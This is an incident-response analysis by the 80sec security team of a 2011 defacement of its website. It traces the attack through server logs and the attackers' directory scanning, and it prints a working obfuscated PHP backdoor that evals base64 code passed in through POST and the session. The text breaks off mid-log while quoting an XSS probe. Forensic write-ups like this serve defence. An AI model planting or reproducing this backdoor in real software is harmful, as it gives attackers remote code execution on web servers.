80sec感恩节事件分析

 

EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2011-11-30
From: http://www.80sec.com/

[ 目录 ]
0×00 事件背景
0×01 应急响应
0×02 事件分析
0×03 事件启示
0×04 总结

0×00 事件背景

在感恩节的晚上,我们的站点遭遇了攻击,几名未知性别的黑客成功涂改掉了我们的首页,事情发生后很多朋友对我们被攻击的原因和经过都很关心,各种猜测都有,加上我们后续对于这次攻击的分析结果来看,我们觉得整次攻击和事后应急及分析的过程都适合作为一次典型的案例分析,把整件事情披露出来无论是对我们还是对业界会非常有意义,入侵者给我们在感恩节送了这么好的礼物,我们要好好接受才对:)


0×01 应急响应

事件发生之后的一段时间我们登录到服务器,由于首页替换的时间很短暂,我们甚至没有抓到截图,开始甚至都怀疑是ARP欺骗或者是DNS劫持之类的攻击,但是作为应急响应的箴言之一,我们最好不要相信猜测,一切以日志分析为主,一旦猜测我们从开始就输了。
我们知道在webserver的日志里记录了几乎所有有价值的信息,我们后续的检测必须依赖于日志,所以建议各位日志没开的同学先把日志打开并且保存足够长的时间,在这个有价值的信息里,我们第一个需要找准的就是攻击发生的具体时间点,因为我们是首页被黑并且时间较短,我们迅速stat了下首页文件的内容,发现完全正常没有任何改变:

File: `/home/jianxin/80sec.com/public_html/index.php’
Size: 397 Blocks: 8 IO Block: 4096 regular file
Device: ca00h/51712d Inode: 579843 Links: 1
Access: (0644/-rw-r–r–) Uid: ( 1001/ jianxin) Gid: ( 1001/ jianxin)
Access: 2011-07-13 04:16:57.000000000 +0800
Modify: 2011-07-13 04:16:55.000000000 +0800
Change: 2011-10-14 17:43:32.000000000 +0800

我们知道在linux系统下面的ctime会需要权限较高才能修改,而我们的系统是最新的patch,据我们了解也应该不存在使用未公开的漏洞来攻击我们的可能,毕竟我们只是一个技术站点,难道真的是ARP或者是Dns劫持么?在webserver的log里有一个选项记录了这一次请求所传递的数据量,我们对比了下发现,的确在某个时间首页的数据量有一个显著的减少:

173.234.184.45 – - [24/Nov/2011:20:44:13 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24″
218.213.229.74 – - [24/Nov/2011:20:44:26 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152;

为676字节,而一般的请求大小为

98.142.220.112 – - [25/Nov/2011:00:39:32 +0800] “GET / HTTP/1.1″ 200 31831 “-” “curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15″

31831字节,我们可以确认webserver的确出现了问题,入侵者的确能够控制我们的首页显示,到这里我们基本可以确定攻击时间和攻击的源IP了,当你被黑了的时候,第一个访问那个页面的基本就是攻击者本人,他们会迫不及待的来看攻击成果:)
既然服务器有问题了,那我们来看看今天有什么文件被修改了:

find /home/ -ctime 1

立刻我们就发现了一些好玩的东西:

<?PHP
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

看来这就是那只后门了,写到了一个全局可写的缓存文件里,而且特意做了隐藏,基本是正常的代码也不触发什么关键字,那么问题在于这么一些可爱的代码是怎么到我的服务器上的呢?这个后门我们发现最早出现的时间并不是在80sec里,而是在同一服务器上一个80sec童鞋的Blog里,最早的时间可以追朔到

218.213.229.74 - - [24/Nov/2011:00:12:56 +0800] "GET /wp-content/wp-cache-config.php HTTP/1.1" 200 308 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2"

ip似乎也比较吻合,那么似乎假设如果没有猜错的话,第一个被攻击的目标应该是这个很勺的80sec童鞋的Blog才对,那么是如何攻击的呢?我们将日志里与这个ip相关的抽取出来

218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /my HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /User_Login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /conf HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /Test HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /houtai HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /user_login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /sys HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /news_admin HTTP/1.1" 404 7978 "-" "-"

攻击很早就发生了,甚至还使用了

218.213.229.74 - - [16/Nov/2011:20:29:10 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:12 +0800] "GET /?s=

HTTP/1.0″ 200 8620 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=<SCRIP

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值